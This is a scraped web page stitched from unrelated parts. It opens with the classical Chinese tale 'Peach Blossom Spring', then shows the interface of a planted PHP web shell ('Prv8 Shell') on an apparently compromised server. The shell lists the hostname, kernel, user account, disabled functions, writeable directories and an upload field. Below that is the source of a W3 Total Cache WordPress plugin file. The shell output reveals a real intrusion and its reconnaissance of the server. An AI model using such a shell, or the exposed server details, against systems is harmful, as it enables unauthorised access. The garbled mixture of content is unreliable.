晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/Generic_AdminActions_Flush.php
<?php
namespace W3TC;



class Generic_AdminActions_Flush {
	private $_config = null;

	function __construct() {
		$this->_config = Dispatcher::config();
	}

	/**
	 * Flush all caches action
	 *
	 * @return void
	 */
	function w3tc_flush_all() {
		w3tc_flush_all( array( 'ui_action' => 'flush_button' ) );
		$this->_redirect_after_flush( 'flush_all' );
	}

	function w3tc_flush_current_page() {
		$url = filter_input( INPUT_GET, 'url', FILTER_SANITIZE_URL );
		if ( empty( $url ) && isset( $_SERVER['HTTP_REFERER'] ) ) {
			$url = $_SERVER['HTTP_REFERER'];
		}
		w3tc_flush_url( $url );

		?>
		<div style="text-align: center; margin-top: 30px">
		<h3>Page has been flushed successfully</h3>
		<a id="w3tc_return" href="<?php echo esc_attr( $url ) ?>">Return</a>
		</div>
		<script>
		setTimeout(function() {
			window.location = document.getElementById('w3tc_return').href;
		}, 2000);
		</script>
		<?php
		exit();
	}

	/**
	 * Flush memcache cache action
	 *
	 * @return void
	 */
	function w3tc_flush_memcached() {
		$this->flush_memcached();

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_memcached'
			), true );
	}

	/**
	 * Flush opcode caches action
	 *
	 * @return void
	 */
	function w3tc_flush_opcode() {
		$this->flush_opcode();

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_opcode'
			), true );
	}

	/**
	 * Flush file caches action
	 *
	 * @return void
	 */
	function w3tc_flush_file() {
		$this->flush_file();

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_file'
			), true );
	}

	/**
	 * Flush from static files and further
	 *
	 * @return void
	 */
	function w3tc_flush_statics() {
		$cf = Dispatcher::component( 'CacheFlush' );
		$cf->browsercache_flush();
		w3tc_flush_posts();

		$state_note = Dispatcher::config_state_note();
		$state_note->set( 'common.show_note.flush_statics_needed', false );
		$state_note->set( 'common.show_note.flush_posts_needed', false );
		$state_note->set( 'common.show_note.plugins_updated', false );

		Util_Admin::redirect_with_custom_messages2( array(
				'notes' => array(
					__( 'Static files cache successfully emptied.', 'w3-total-cache' )
				)
			), true );
	}

	/**
	 * Flush posts
	 *
	 * @return void
	 */
	function w3tc_flush_posts() {
		w3tc_flush_posts();

		$state_note = Dispatcher::config_state_note();
		$state_note->set( 'common.show_note.flush_posts_needed', false );
		$state_note->set( 'common.show_note.plugins_updated', false );

		$this->_redirect_after_flush( 'flush_pgcache' );
	}

	/**
	 * Flush page cache action
	 *
	 * @return void
	 */
	function w3tc_flush_pgcache() {
		w3tc_flush_posts( array( 'ui_action' => 'flush_button' ) );

		$state_note = Dispatcher::config_state_note();
		$state_note->set( 'common.show_note.flush_posts_needed', false );
		$state_note->set( 'common.show_note.plugins_updated', false );

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_pgcache'
			), true );
	}

	/**
	 * Flush database cache action
	 *
	 * @return void
	 */
	function w3tc_flush_dbcache() {
		$this->flush_dbcache();

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_dbcache'
			), true );
	}

	/**
	 * Flush object cache action
	 *
	 * @return void
	 */
	function w3tc_flush_objectcache() {
		$this->flush_objectcache();

		$state_note = Dispatcher::config_state_note();
		$state_note->set( 'objectcache.show_note.flush_needed', false );

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_objectcache'
			), true );
	}


	/**
	 * Flush fragment cache action
	 *
	 * @return void
	 */
	function w3tc_flush_fragmentcache() {
		$this->flush_fragmentcache();

		$this->_config->set( 'notes.need_empty_fragmentcache', false );

		$this->_config->save();

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_fragmentcache'
			), true );
	}

	/**
	 * Flush minify action
	 *
	 * @return void
	 */
	function w3tc_flush_minify() {
		$this->flush_minify();

		$state_note = Dispatcher::config_state_note();
		$state_note->set( 'minify.show_note.need_flush', false );

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_minify'
			), true );
	}

	/**
	 * Flush browser cache action
	 *
	 * @return void
	 */
	function w3tc_flush_browser_cache() {
		$cacheflush = Dispatcher::component( 'CacheFlush' );
		$cacheflush->browsercache_flush();

		$state_note = Dispatcher::config_state_note();
		$state_note->set( 'common.show_note.flush_statics_needed', false );
		$state_note->set( 'common.show_note.flush_posts_needed', true );

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_browser_cache'
			), true );
	}

	/*
	 * Flush varnish cache
	 */
	function w3tc_flush_varnish() {
		$this->flush_varnish();

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_varnish'
			), true );
	}

	/*
	 * Flush CDN mirror
	 */
	function w3tc_flush_cdn() {
		$this->flush_cdn( array( 'ui_action' => 'flush_button' ) );

		Util_Admin::redirect( array(
				'w3tc_note' => 'flush_cdn'
			), true );
	}


	/**
	 * PgCache purge post
	 *
	 * @return void
	 */
	function w3tc_flush_post() {
		$post_id = Util_Request::get_integer( 'post_id' );
		w3tc_flush_post( $post_id, array( 'ui_action' => 'flush_button' ) );

		Util_Admin::redirect( array(
				'w3tc_note' => 'pgcache_purge_post'
			), true );
	}

	/**
	 * Flush specified cache
	 *
	 * @param string  $type
	 * @return void
	 */
	function flush( $type ) {
		$state = Dispatcher::config_state();
		$state_note = Dispatcher::config_state_note();

		if ( $this->_config->get_string( 'pgcache.engine' ) == $type && $this->_config->get_boolean( 'pgcache.enabled' ) ) {
			$state_note->set( 'common.show_note.flush_posts_needed', false );
			$state_note->set( 'common.show_note.plugins_updated', false );

			$pgcacheflush = Dispatcher::component( 'PgCache_Flush' );
			$pgcacheflush->flush();
			$pgcacheflush->flush_post_cleanup();
		}

		if ( $this->_config->get_string( 'dbcache.engine' ) == $type && $this->_config->get_boolean( 'dbcache.enabled' ) ) {
			$this->flush_dbcache();
		}

		if ( $this->_config->get_string( 'objectcache.engine' ) == $type && $this->_config->get_boolean( 'objectcache.enabled' ) ) {
			$this->flush_objectcache();
		}

		if ( $this->_config->get_string( array( 'fragmentcache', 'engine' ) ) == $type ) {
			$this->flush_fragmentcache();
		}

		if ( $this->_config->get_string( 'minify.engine' ) == $type && $this->_config->get_boolean( 'minify.enabled' ) ) {
			$state_note->set( 'minify.show_note.need_flush', false );
			$this->flush_minify();
		}
	}

	/**
	 * Flush memcached cache
	 *
	 * @return void
	 */
	function flush_memcached() {
		$this->flush( 'memcached' );
	}

	/**
	 * Flush APC cache
	 *
	 * @return void
	 */
	function flush_opcode() {
		$cacheflush = Dispatcher::component( 'CacheFlush' );
		$cacheflush->opcache_flush();
	}

	/**
	 * Flush file cache
	 *
	 * @return void
	 */
	function flush_file() {
		$this->flush( 'file' );
		$this->flush( 'file_generic' );
	}

	/**
	 * Flush database cache
	 *
	 * @return void
	 */
	function flush_dbcache() {
		$flusher = Dispatcher::component( 'CacheFlush' );
		$flusher->dbcache_flush();
	}

	/**
	 * Flush object cache
	 *
	 * @return void
	 */
	function flush_objectcache() {
		$flusher = Dispatcher::component( 'CacheFlush' );
		$flusher->objectcache_flush();
	}

	/**
	 * Flush fragment cache
	 */
	function flush_fragmentcache() {
		$flusher = Dispatcher::component( 'CacheFlush' );
		$flusher->fragmentcache_flush();
	}

	/**
	 * Flush minify cache
	 *
	 * @return void
	 */
	function flush_minify() {
		$w3_minify = Dispatcher::component( 'Minify_MinifiedFileRequestHandler' );
		$w3_minify->flush();
	}

	/**
	 * Flush varnish cache
	 */
	function flush_varnish() {
		// this attaches execute_delayed_operations! otherwise
		// specific module flush will not have effect
		$cacheflush = Dispatcher::component( 'CacheFlush' );

		$varnishflush = Dispatcher::component( 'Varnish_Flush' );
		$varnishflush->flush();
	}

	/**
	 * Flush CDN mirror
	 */
	function flush_cdn( $extras = array() ) {
		$cacheflush = Dispatcher::component( 'CacheFlush' );
		$cacheflush->cdn_purge_all( $extras );
	}


	private function _redirect_after_flush( $success_note ) {
		$flush = Dispatcher::component( 'CacheFlush' );
		$status = $flush->execute_delayed_operations();

		$errors = array();
		foreach ( $status as $i ) {
			if ( isset( $i['error'] ) )
				$errors[] = $i['error'];
		}

		if ( empty( $errors ) ) {
			Util_Admin::redirect( array(
					'w3tc_note' => $success_note
				), true );
		} else {
			Util_Admin::redirect_with_custom_messages2( array(
					'errors' => array( 'Failed to purge: ' .
						implode( ', ', $errors ) )
				), true );
		}
	}
}

haha - 2025